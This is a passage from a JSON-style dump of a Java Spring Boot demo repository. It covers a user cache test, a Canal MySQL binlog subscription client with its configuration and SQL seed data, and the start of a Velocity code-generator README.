    "content": "\nDROP TABLE IF EXISTS `t_user`;\nCREATE TABLE `t_user` (\n  `id` int(11) NOT NULL AUTO_INCREMENT,\n  `username` varchar(255) DEFAULT NULL,\n  `password` varchar(255) DEFAULT NULL,\n  PRIMARY KEY (`id`)\n) ENGINE=InnoDB AUTO_INCREMENT=96 DEFAULT CHARSET=utf8;\n\n-- ----------------------------\n-- Records of t_user\n-- ----------------------------\nINSERT INTO `t_user` VALUES ('52', 'admin', 'admin');\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cache/src/test/java/com/xncoding/service/UserServiceTest.java",
    "content": "package com.xncoding.service;\n\nimport com.xncoding.trans.Application;\nimport com.xncoding.trans.dao.entity.User;\nimport com.xncoding.trans.service.UserService;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.annotation.Rollback;\nimport org.springframework.test.context.junit4.SpringRunner;\nimport org.springframework.transaction.annotation.Transactional;\n\nimport java.util.List;\nimport java.util.Random;\n\nimport static org.junit.Assert.assertEquals;\nimport static org.junit.Assert.assertNull;\n\n\n/**\n * UserServiceTest\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/2\n */\n@RunWith(SpringRunner.class)\n@SpringBootTest(classes = Application.class)\n@Transactional\npublic class UserServiceTest {\n    @Autowired\n    private UserService userService;\n    @Test\n    public void testCache() {\n        // 创建一个用户admin\n        int id = new Random().nextInt(1000);\n        User user = new User(id, \"admin\", \"admin\");\n        userService.createUser(user);\n\n        // 再创建一个用户xiong\n        int id2 = new Random().nextInt(1000);\n        User user2 = new User(id2, \"xiong\", \"neng\");\n        userService.createUser(user2);\n\n        // 查询所有用户列表\n        List<User> list = userService.getAllUsers();\n        assertEquals(list.size(), 2);\n\n        // 两次访问看看缓存命中情况\n        User user3 = userService.getById(id); // 第1次访问\n        assertEquals(user3.getPassword(), \"admin\");\n        User user4 = userService.getById(id); // 第2次访问\n        assertEquals(user4.getPassword(), \"admin\");\n\n        // 更新用户密码\n        user4.setPassword(\"123456\");\n        userService.updateUser(user4);\n\n        // 更新完成后再次访问用户\n        User user5 = userService.getById(id); // 第4次访问\n        assertEquals(user5.getPassword(), \"123456\");\n\n        // 删除用户admin\n        userService.deleteById(id);\n        assertNull(userService.getById(id));\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_canal/README.md",
    "content": "# canal\n\n## 1 概述\n\n阿里巴巴 MySQL binlog 增量订阅&消费组件\n\n因为canal官方demo并没有给spring boot封装详情demo，所以这里就以spring boot封装以便处理数据。\n\n\n\n**使用注意：**\n\n获取表名，优先级从左到右  **@CanalTable**-->**@TableName**\n\ncanal拉取数据：以定时任务触发（启动类记得加**@EnableScheduling **），当然也可以像canal官方demo一样，用while一直循环获取\n\n\n\n## 2 其它参考\n\n官网文档：https://github.com/alibaba/canal/wiki\n\nspring boot canal starter 易用的canal 客户端：https://github.com/NormanGyllenhaal/canal-client\n\n基于canal的mysql和elasticsearch实时同步方案，支持增量同步和全量同步：https://github.com/starcwang/canal_mysql_elasticsearch_sync\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_canal/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.3.2.RELEASE</version>\n        <relativePath/>\n    </parent>\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_canal</artifactId>\n\t<version>1.0</version>\n\n    <properties>\n        <maven.compiler.source>11</maven.compiler.source>\n        <maven.compiler.target>11</maven.compiler.target>\n        <spring-boot-version>2.3.2.RELEASE</spring-boot-version>\n        <hutool.version>5.5.8</hutool.version>\n        <fastjson.version>1.2.61</fastjson.version>\n        <canal.version>1.1.4</canal.version>\n        <mybatis.plus.version>3.4.2</mybatis.plus.version>\n    </properties>\n\n    <dependencies>\n        <!-- web启动 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <!-- 测试 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <!-- 自动配置,这里有web启动，所以不需要 -->\n<!--        <dependency>-->\n<!--            <groupId>org.springframework.boot</groupId>-->\n<!--            <artifactId>spring-boot-autoconfigure</artifactId>-->\n<!--        </dependency>-->\n        <!-- 配置提示 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-configuration-processor</artifactId>\n            <optional>true</optional>\n            <scope>compile</scope>\n        </dependency>\n\n        <!-- canal mysql数据同步 -->\n        <dependency>\n            <groupId>com.alibaba.otter</groupId>\n            <artifactId>canal.client</artifactId>\n            <version>${canal.version}</version>\n        </dependency>\n        <!--mybatis plus extension,包含了mybatis plus core 提供实体类注释，\n        作用：演示与mybatis-plus结合，直接从TableName中获取表信息\n        -->\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-extension</artifactId>\n            <version>${mybatis.plus.version}</version>\n        </dependency>\n\n        <!-- 糊涂用具类 -->\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n            <version>${hutool.version}</version>\n        </dependency>\n        <!-- 阿里json解析 -->\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>fastjson</artifactId>\n            <version>${fastjson.version}</version>\n        </dependency>\n\n        <!-- lombok插件 -->\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <version>${spring-boot-version}</version>\n            </plugin>\n        </plugins>\n    </build>\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_canal/sql/t_admin.sql",
    "content": "/*\n Navicat Premium Data Transfer\n\n Source Server         : 本地\n Source Server Type    : MySQL\n Source Server Version : 50728\n Source Host           : localhost:3306\n Source Schema         : test\n\n Target Server Type    : MySQL\n Target Server Version : 50728\n File Encoding         : 65001\n\n Date: 03/12/2021 00:15:54\n*/\n\nSET NAMES utf8mb4;\nSET FOREIGN_KEY_CHECKS = 0;\n\n-- ----------------------------\n-- Table structure for t_admin\n-- ----------------------------\nDROP TABLE IF EXISTS `t_admin`;\nCREATE TABLE `t_admin`  (\n  `id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT '主键',\n  `user_name` varchar(63) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL DEFAULT '' COMMENT '管理员名称',\n  `avatar` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT '' COMMENT '头像图片',\n  `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间',\n  `create_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '创建者',\n  `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间',\n  `update_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '修改者',\n  `version` int(11) NOT NULL DEFAULT 0 COMMENT '乐观锁版本号',\n  `deleted` tinyint(1) NOT NULL DEFAULT 0 COMMENT '逻辑删除',\n  `tenant_id` int(11) NULL DEFAULT NULL COMMENT '租户id',\n  PRIMARY KEY (`id`) USING BTREE\n) ENGINE = InnoDB AUTO_INCREMENT = 33 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = '管理员表' ROW_FORMAT = Dynamic;\n\n-- ----------------------------\n-- Records of t_admin\n-- ----------------------------\nINSERT INTO `t_admin` VALUES (28, '大白', '222', '2021-09-25 16:51:32', 'testInsertName', '2021-09-25 16:51:32', 'testInsertName', 0, 0, 1);\nINSERT INTO `t_admin` VALUES (29, '小李子', '333', '2021-09-25 16:52:17', 'testInsertName', '2021-09-25 17:00:59', 'testUpdateName', 1, 0, 2);\nINSERT INTO `t_admin` VALUES (30, '飞刀', '333', '2021-09-25 18:54:00', 'testInsertName', '2021-09-25 18:54:00', 'testInsertName', 0, 0, 1);\nINSERT INTO `t_admin` VALUES (31, '测试用户369', '222', '2021-09-27 00:15:19', 'testInsertName', '2021-09-27 00:15:19', 'testInsertName', 0, 0, 1);\nINSERT INTO `t_admin` VALUES (32, '新增管理员', '222', '2021-12-02 23:13:35', 'testInsertName', '2021-12-02 23:13:35', 'testInsertName', 0, 0, 1);\n\nSET FOREIGN_KEY_CHECKS = 1;\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_canal/src/main/java/com/example/CanalApplication.java",
    "content": "package com.example;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.scheduling.annotation.EnableScheduling;\n\n/**\n * <p>\n * 启动类\n * </p>\n *\n * @author MrWen\n **/\n@EnableScheduling//这里以定时任务触发，当然也可以想canal官方demo一样，用while一直循环获取\n@SpringBootApplication\npublic class CanalApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(CanalApplication.class);\n\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_canal/src/main/java/com/example/canal/annotation/CanalTable.java",
    "content": "package com.example.canal.annotation;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n/**\n * <p>\n * 需要处理的table\n * </p>\n *\n * @author MrWen\n */\n@Target(ElementType.TYPE)\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface CanalTable {\n\n    String value() default \"\";\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_canal/src/main/java/com/example/canal/autoconfiguration/SingleCanalClient.java",
    "content": "package com.example.canal.autoconfiguration;\n\nimport com.alibaba.otter.canal.client.CanalConnector;\nimport com.alibaba.otter.canal.client.CanalConnectors;\nimport com.example.canal.handler.CanalEntryHandler;\nimport com.example.canal.handler.CanalMessageHandler;\nimport com.example.canal.properties.CanalClientProperties;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.factory.DisposableBean;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.context.properties.EnableConfigurationProperties;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.stereotype.Component;\n\nimport java.net.InetSocketAddress;\nimport java.util.List;\n\n/**\n * <p>\n * 单机canal客户端配置\n * </p>\n *\n * @author MrWen\n */\n@Slf4j\n@Component\n@EnableConfigurationProperties(CanalClientProperties.class)\npublic class SingleCanalClient implements DisposableBean {\n\n    /**\n     * 获取canal客户端连接\n     */\n    private CanalConnector canalConnector;\n\n\n    @Autowired\n    private CanalClientProperties canalClientProperties;\n\n    /**\n     * 获取canal客户端连接\n     */\n    @Bean\n    public CanalConnector getCanalConnector() {\n        canalConnector = CanalConnectors.newSingleConnector(\n                new InetSocketAddress(canalClientProperties.getHost(), canalClientProperties.getPort()),\n                canalClientProperties.getDestination(), canalClientProperties.getUsername(), canalClientProperties.getPassword());\n        canalConnector.connect();\n        // 指定filter，格式 {database}.{table}，这里不做过滤，过滤操作留给用户\n        canalConnector.subscribe();\n        // 回滚寻找上次中断的位置\n        canalConnector.rollback();\n        log.info(\"canal客户端启动成功\");\n        return canalConnector;\n    }\n\n\n    /**\n     * canal消息处理\n     */\n    @Bean\n    public CanalMessageHandler getMessageHandler(List<CanalEntryHandler> entryHandlerList) {\n        return new CanalMessageHandler(entryHandlerList);\n    }\n\n\n    @Override\n    public void destroy() {\n        if (canalConnector != null) {\n            canalConnector.disconnect();\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_canal/src/main/java/com/example/canal/handler/CanalEntryHandler.java",
    "content": "package com.example.canal.handler;\n\n/**\n * <p>\n * canal数据处理接口\n * </p>\n *\n * @author MrWen\n */\npublic interface CanalEntryHandler<T> {\n\n    /**\n     * 新增\n     *\n     * @param t 新增数据\n     */\n    void insert(T t);\n\n\n    /**\n     * 修改\n     *\n     * @param before 修改前数据\n     * @param after  修改后数据\n     */\n    void update(T before, T after);\n\n\n    /**\n     * 删除\n     *\n     * @param t 删除数据\n     */\n    void delete(T t);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_canal/src/main/java/com/example/canal/handler/CanalMessageHandler.java",
    "content": "package com.example.canal.handler;\n\nimport cn.hutool.core.collection.CollUtil;\nimport cn.hutool.core.util.StrUtil;\nimport com.example.canal.util.FieldUtil;\n\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * <p>\n * canal消息处理\n * </p>\n *\n * @author MrWen\n */\npublic class CanalMessageHandler {\n\n    /**\n     * key:table名称，value：EntryHandler实现类\n     */\n    private Map<String, CanalEntryHandler> tableHandlerMap;\n\n    public CanalMessageHandler(List<? extends CanalEntryHandler> entryHandlers) {\n        this.tableHandlerMap = this.getTableHandler(entryHandlers);\n    }\n\n\n    public CanalEntryHandler getHandlerMap(String tableName) {\n        return tableHandlerMap.get(tableName);\n    }\n\n\n    /**\n     * 获取所有EntryHandler信息\n     *\n     * @param entryHandlers 所有EntryHandler\n     * @return map类型，key：CanalTable注解的value名称   value：对应的EntryHandler\n     */\n    private Map<String, CanalEntryHandler> getTableHandler(List<? extends CanalEntryHandler> entryHandlers) {\n        if (CollUtil.isEmpty(entryHandlers)) {\n            return CollUtil.newHashMap();\n        }\n        Map<String, CanalEntryHandler> tableHandlerMap = new HashMap<>(entryHandlers.size());\n        for (CanalEntryHandler entryHandler : entryHandlers) {\n            String tableName = FieldUtil.getTableGenericProperties(entryHandler);\n            if (StrUtil.isNotBlank(tableName)) {\n                tableHandlerMap.putIfAbsent(tableName, entryHandler);\n            }\n        }\n        return tableHandlerMap;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_canal/src/main/java/com/example/canal/job/CanalScheduling.java",
    "content": "package com.example.canal.job;\n\nimport cn.hutool.core.util.ReflectUtil;\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.otter.canal.client.CanalConnector;\nimport com.alibaba.otter.canal.protocol.CanalEntry;\nimport com.alibaba.otter.canal.protocol.CanalEntry.Entry;\nimport com.alibaba.otter.canal.protocol.CanalEntry.EntryType;\nimport com.alibaba.otter.canal.protocol.CanalEntry.EventType;\nimport com.alibaba.otter.canal.protocol.Message;\nimport com.example.canal.properties.CanalClientProperties;\nimport com.example.canal.util.FieldUtil;\nimport com.example.canal.handler.CanalEntryHandler;\nimport com.example.canal.handler.CanalMessageHandler;\nimport com.google.protobuf.InvalidProtocolBufferException;\nimport lombok.SneakyThrows;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.context.properties.EnableConfigurationProperties;\nimport org.springframework.scheduling.annotation.Scheduled;\nimport org.springframework.stereotype.Component;\n\nimport javax.annotation.Resource;\nimport java.util.List;\n\n/**\n * <p>\n * canal定时任务，主要是监听日志变化\n * </p>\n *\n * @author MrWen\n */\n@Slf4j\n@Component\n@EnableConfigurationProperties(CanalClientProperties.class)\npublic class CanalScheduling {\n\n    @Autowired\n    private CanalMessageHandler messageHandler;\n    @Autowired\n    private CanalClientProperties canalClientProperties;\n    @Resource\n    private CanalConnector canalConnector;\n\n    @Scheduled(fixedDelay = 100)\n    public void run() {\n        try {\n            Message message = canalConnector.getWithoutAck(canalClientProperties.getBatchSize());\n            long batchId = message.getId();\n            try {\n                List<Entry> entries = message.getEntries();\n                if (batchId != -1 && entries.size() > 0) {\n                    entries.forEach(entry -> {\n                        if (entry.getEntryType() == EntryType.ROWDATA) {\n                            handlerEntry(entry);\n                        }\n                    });\n                }\n                canalConnector.ack(batchId);\n            } catch (Exception e) {\n                log.error(\"发送监听事件失败！不会滚！message={},错误原因={}\", JSON.toJSONString(message), e.getMessage(), e);\n                if (canalClientProperties.getAcknowledgeMode()) {\n                    canalConnector.rollback(batchId);\n                } else {\n                    canalConnector.ack(batchId);\n                }\n            }\n        } catch (Exception e) {\n            log.error(\"canal_scheduled异常！\", e);\n        }\n    }\n\n    /**\n     * 对handlerEntry的处理\n     *\n     * @param entry 信息\n     */\n    private void handlerEntry(Entry entry) {\n        //获取表名\n        String table = entry.getHeader().getTableName();\n\n        CanalEntry.RowChange change;\n        try {\n            change = CanalEntry.RowChange.parseFrom(entry.getStoreValue());\n        } catch (InvalidProtocolBufferException e) {\n            log.error(\"canalEntry_parser_error,根据CanalEntry获取RowChange失败！\", e);\n            return;\n        }\n        EventType eventType = entry.getHeader().getEventType();\n\n        //table对应的实现类\n        CanalEntryHandler handlerMap = messageHandler.getHandlerMap(table);\n\n\n        List<CanalEntry.RowData> rowDatasList = change.getRowDatasList();\n        for (CanalEntry.RowData rowData : rowDatasList) {\n            Object afterObj = getAfterObj(table, rowData);\n            Object beforeObj = getBeforeObj(table, rowData);\n            try {\n                switch (eventType) {\n                    case INSERT:\n                        handlerMap.insert(afterObj);\n                        break;\n                    case UPDATE:\n                        handlerMap.update(beforeObj, afterObj);\n                        break;\n                    case DELETE:\n                        handlerMap.delete(beforeObj);\n                        break;\n                    default:\n                        break;\n                }\n            } catch (Exception e) {\n                //保存错误原因\n                log.error(\"canal同步数据出错，原因::{}\", e.getMessage(), e);\n            }\n        }\n    }\n\n    /**\n     * 获取修改前的数据\n     *\n     * @param table   表\n     * @param rowData 操作数据\n     * @return 修改前的数据\n     */\n    @SneakyThrows\n    private Object getBeforeObj(String table, CanalEntry.RowData rowData) {\n        CanalEntryHandler entryHandler = messageHandler.getHandlerMap(table);\n        Object beforeObj = ReflectUtil.newInstance(FieldUtil.getTableClass(entryHandler));\n        List<CanalEntry.Column> beforeColumnsList = rowData.getBeforeColumnsList();\n        for (CanalEntry.Column column : beforeColumnsList) {\n            FieldUtil.setFieldValue(beforeObj, column.getName(), column.getValue());\n        }\n        return beforeObj;\n    }\n\n    /**\n     * 获取修改后的数据\n     *\n     * @param table   表\n     * @param rowData 操作数据\n     * @return 修改后的数据\n     */\n    @SneakyThrows\n    private Object getAfterObj(String table, CanalEntry.RowData rowData) {\n        CanalEntryHandler entryHandler = messageHandler.getHandlerMap(table);\n        Object afterObj = ReflectUtil.newInstance(FieldUtil.getTableClass(entryHandler));\n        List<CanalEntry.Column> afterColumnsList = rowData.getAfterColumnsList();\n        for (CanalEntry.Column column : afterColumnsList) {\n            FieldUtil.setFieldValue(afterObj, column.getName(), column.getValue());\n        }\n        return afterObj;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_canal/src/main/java/com/example/canal/properties/CanalClientProperties.java",
    "content": "package com.example.canal.properties;\n\nimport lombok.Data;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\n\n/**\n * <p>\n * canal客户端属性\n * </p>\n *\n * @author MrWen\n */\n@Data\n@ConfigurationProperties(prefix = \"canal\")\npublic class CanalClientProperties {\n    /**\n     * ip地址\n     */\n    private String host = \"127.0.0.1\";\n\n    /**\n     * 端口\n     */\n    private Integer port = 11111;\n\n    /**\n     * 描述\n     */\n    private String destination = \"example\";\n\n    /**\n     * 账号\n     */\n    private String username = \"canal\";\n\n    /**\n     * 密码\n     */\n    private String password = \"canal\";\n\n    /**\n     * 获取指定数量的数据\n     */\n    private Integer batchSize = 1000;\n\n    /**\n     * 是否开启ack确认\n     * true: 如果永远无法消费，将会死循环！！\n     * false: 消息会丢失，照成消息不同步\n     * 建议：false，把错误信息收集，后续人工处理。\n     */\n    private Boolean acknowledgeMode = false;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_canal/src/main/java/com/example/canal/util/FieldUtil.java",
    "content": "package com.example.canal.util;\n\nimport cn.hutool.core.convert.Convert;\nimport cn.hutool.core.util.ReflectUtil;\nimport cn.hutool.core.util.StrUtil;\nimport com.baomidou.mybatisplus.annotation.TableName;\nimport com.example.canal.annotation.CanalTable;\nimport com.example.canal.handler.CanalEntryHandler;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.ParameterizedType;\nimport java.lang.reflect.Type;\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\n\n/**\n * <p>\n * 实体类字段属性赋值\n * </p>\n *\n * @author MrWen\n */\npublic class FieldUtil {\n\n    /**\n     * 缓存，key：CanalEntryHandler的实现类  value：CanalEntryHandler接口的泛型\n     */\n    private static Map<Class<? extends CanalEntryHandler>, Class> cache = new ConcurrentHashMap<>();\n\n    /**\n     * 获取table名称\n     */\n    public static String getTableGenericProperties(CanalEntryHandler entryHandler) {\n        Class<?> tableClass = getTableClass(entryHandler);\n        if (tableClass != null) {\n            //CanalTable优先，没有才以TableName\n            CanalTable canalTable = tableClass.getAnnotation(CanalTable.class);\n            if (canalTable != null) {\n                return canalTable.value();\n            }\n\n            TableName annotation = tableClass.getAnnotation(TableName.class);\n            if (annotation != null) {\n                return annotation.value();\n            }\n        }\n        return null;\n    }\n\n    /**\n     * 获取class类型\n     */\n    public static <T> Class<T> getTableClass(CanalEntryHandler object) {\n        Class<? extends CanalEntryHandler> handlerClass = object.getClass();\n        Class tableClass = cache.get(handlerClass);\n        if (tableClass == null) {\n            //获取所有实现接口\n            Type[] interfaces = handlerClass.getGenericInterfaces();\n            for (Type t : interfaces) {\n                //获取原始类型\n                Class c = (Class) ((ParameterizedType) t).getRawType();\n                if (c.equals(CanalEntryHandler.class)) {\n                    tableClass = (Class<T>) ((ParameterizedType) t).getActualTypeArguments()[0];\n                    cache.putIfAbsent(handlerClass, tableClass);\n                    return tableClass;\n                }\n            }\n        }\n        return tableClass;\n    }\n\n\n    /**\n     * 对象属性赋值\n     *\n     * @param object    对象\n     * @param fieldName 属性名称\n     * @param value     属性值(需要转为对应类型)\n     * @throws IllegalAccessException 赋值异常\n     */\n    public static void setFieldValue(Object object, String fieldName, String value) throws IllegalAccessException {\n        //fieldName 下划线转驼峰\n        fieldName = fieldName.toLowerCase();\n        fieldName = StrUtil.toCamelCase(fieldName);\n\n        Field field = ReflectUtil.getField(object.getClass(), fieldName);\n\n        //类型转换\n        Object result = Convert.convert(field.getType(), value);\n\n        //赋值\n        ReflectUtil.setFieldValue(object, field, result);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_canal/src/main/java/com/example/test/entity/Admin.java",
    "content": "package com.example.test.entity;\n\nimport com.baomidou.mybatisplus.annotation.TableName;\nimport lombok.AllArgsConstructor;\nimport lombok.Builder;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\n\nimport java.time.LocalDateTime;\nimport java.util.Date;\n\n/**\n * <p>\n * 管理员表\n * </p>\n *\n * @author MrWen\n * @since 2021-12-02\n */\n@Data\n@Builder\n@NoArgsConstructor\n@AllArgsConstructor\n//@CanalTable(\"t_admin\")//优先这个\n@TableName(\"t_admin\")//CanalTable不存在，才这个\npublic class Admin {\n\n    private Long id;\n\n    private String userName;\n\n    private String avatar;\n\n    private LocalDateTime createTime;\n\n    private String createName;\n\n    private Date updateTime;\n\n    private String updateName;\n\n    private Integer version;\n\n    private Boolean deleted;\n\n    private Integer tenantId;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_canal/src/main/java/com/example/test/service/AdminService.java",
    "content": "package com.example.test.service;\n\nimport com.example.canal.handler.CanalEntryHandler;\nimport com.example.test.entity.Admin;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.stereotype.Service;\n\n/**\n * <p>\n * 模式canal同步mysql测试\n * </p>\n *\n * @author MrWen\n * @since 2021-12-02\n */\n@Slf4j\n@Service\npublic class AdminService implements CanalEntryHandler<Admin> {\n\n    @Override\n    public void insert(Admin admin) {\n        log.info(\"AdminService.insert---->admin={}\", admin);\n    }\n\n    @Override\n    public void update(Admin before, Admin after) {\n        log.info(\"AdminService.update---->before={}  ,after={}\", before, after);\n    }\n\n    @Override\n    public void delete(Admin admin) {\n        log.info(\"AdminService.delete---->admin={}\", admin);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_canal/src/main/resources/application.yaml",
    "content": "server:\n  port: 7777\n\n# canal配置,默认单例\ncanal:\n  host: 127.0.0.1\n  port: 11111\n  destination: example\n  username: canal\n  password: canal\n  acknowledge-mode: true\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/README.md",
    "content": "# spring-boot-demo-codegen\n\n> 此 demo 主要演示了 Spring Boot 使用**模板技术**生成代码，并提供前端页面，可生成 Entity/Mapper/Service/Controller 等代码。\n\n## 1. 主要功能\n\n1. 使用 `velocity` 代码生成\n2. 暂时支持mysql数据库的代码生成\n3. 提供前端页面展示，并下载代码压缩包\n\n> 注意：① Entity里使用lombok，简化代码 ② Mapper 和 Service 层集成 Mybatis-Plus 简化代码\n\n## 2. 运行\n\n1. 运行 `SpringBootDemoCodegenApplication` 启动项目\n2. 打开浏览器，输入 http://localhost:8080/demo/index.html\n3. 输入查询条件，生成代码\n\n## 3. 关键代码\n\n### 3.1. pom.xml\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>spring-boot-demo-codegen</artifactId>\n    <version>1.0.0-SNAPSHOT</version>\n    <packaging>jar</packaging>\n\n    <name>spring-boot-demo-codegen</name>\n    <description>Demo project for Spring Boot</description>\n\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n        <artifactId>spring-boot-demo</artifactId>\n        <version>1.0.0-SNAPSHOT</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n            <exclusions>\n                <exclusion>\n                    <groupId>org.springframework.boot</groupId>\n                    <artifactId>spring-boot-starter-tomcat</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-undertow</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>com.zaxxer</groupId>\n            <artifactId>HikariCP</artifactId>\n        </dependency>\n\n        <!--velocity代码生成使用模板 -->\n        <dependency>\n            <groupId>org.apache.velocity</groupId>\n            <artifactId>velocity</artifactId>\n            <version>1.7</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-text</artifactId>\n            <version>1.6</version>\n        </dependency>\n\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>com.google.guava</groupId>\n            <artifactId>guava</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <finalName>spring-boot-demo-codegen</finalName>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n```\n\n### 3.2. 代码生成器配置\n\n```properties\n#代码生成器，配置信息\nmainPath=com.jun.plugin\n#包名\npackage=com.jun.plugin\nmoduleName=generator\n#作者\nauthor=Yangkai.Shen\n#表前缀(类名不会包含表前缀)\ntablePrefix=tb_\n#类型转换，配置信息\ntinyint=Integer\nsmallint=Integer\nmediumint=Integer\nint=Integer\ninteger=Integer\nbigint=Long\nfloat=Float\ndouble=Double\ndecimal=BigDecimal\nbit=Boolean\nchar=String\nvarchar=String\ntinytext=String\ntext=String\nmediumtext=String\nlongtext=String\ndate=LocalDateTime\ndatetime=LocalDateTime\ntimestamp=LocalDateTime\n```\n\n### 3.3. CodeGenUtil.java\n\n```java\n@Slf4j\n@UtilityClass\npublic class CodeGenUtil {\n\n    private final String ENTITY_JAVA_VM = \"Entity.java.vm\";\n    private final String MAPPER_JAVA_VM = \"Mapper.java.vm\";\n    private final String SERVICE_JAVA_VM = \"Service.java.vm\";\n    private final String SERVICE_IMPL_JAVA_VM = \"ServiceImpl.java.vm\";\n    private final String CONTROLLER_JAVA_VM = \"Controller.java.vm\";\n    private final String MAPPER_XML_VM = \"Mapper.xml.vm\";\n    private final String API_JS_VM = \"api.js.vm\";\n\n    private List<String> getTemplates() {\n        List<String> templates = new ArrayList<>();\n        templates.add(\"template/Entity.java.vm\");\n        templates.add(\"template/Mapper.java.vm\");\n        templates.add(\"template/Mapper.xml.vm\");\n        templates.add(\"template/Service.java.vm\");\n        templates.add(\"template/ServiceImpl.java.vm\");\n   